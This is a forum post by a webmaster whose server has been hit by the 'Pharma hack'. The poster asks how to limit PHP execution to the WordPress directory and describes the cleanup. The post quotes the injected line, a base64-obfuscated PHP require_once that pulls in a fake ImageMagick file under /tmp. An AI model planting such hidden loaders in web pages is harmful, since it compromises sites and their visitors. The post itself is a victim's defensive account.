We are being hacked again: the old Pharma hack…
How do I stop PHP from executing in any directory except the WordPress installation, which is
/public_html/blog
??
These guys are inserting this into the top of lots of pages outside the /blog directory and I can’t figure out how. I have changed passwords and examined all log in logs and I see no suspicious activity. Lot of break in attempts as usual, but all failed log ins. Today we discovered in /blog/wp-content/themes/default/images/tmp/ hackers files and 8000! yes count’em 8000 *.html file which we copies of articles in WP with Pharma stuff at the top!
<?php require_once(base64_decode("L3RtcC9JbWFnZU1hZ2ljay02LjQuNC9QZXJsTWFnaWNrL2xpYi92c3A=")); which is: <?php include('/tmp/ImageMagick-6.4.4/PerlMagick/lib/bcp');?>this is bogus… it is there and it had time stamp of 2008… our real ImageMagick is in /opt which i the one we actually call and use. I just deleted it… and am continuing to clean the server… we may have to completely reintall WP and be content to let all the archives go. if they have inserted stuff into an actual image, then I’m not sure how you could ever find that.
At any rate I looked thru the WebMin options for PHP and also the VirtualMin options for specific domains and I don’t where to tweak a setting that prevents PHP from executing only in /blog directory. We don’t use PHP anywhere else (and never will!)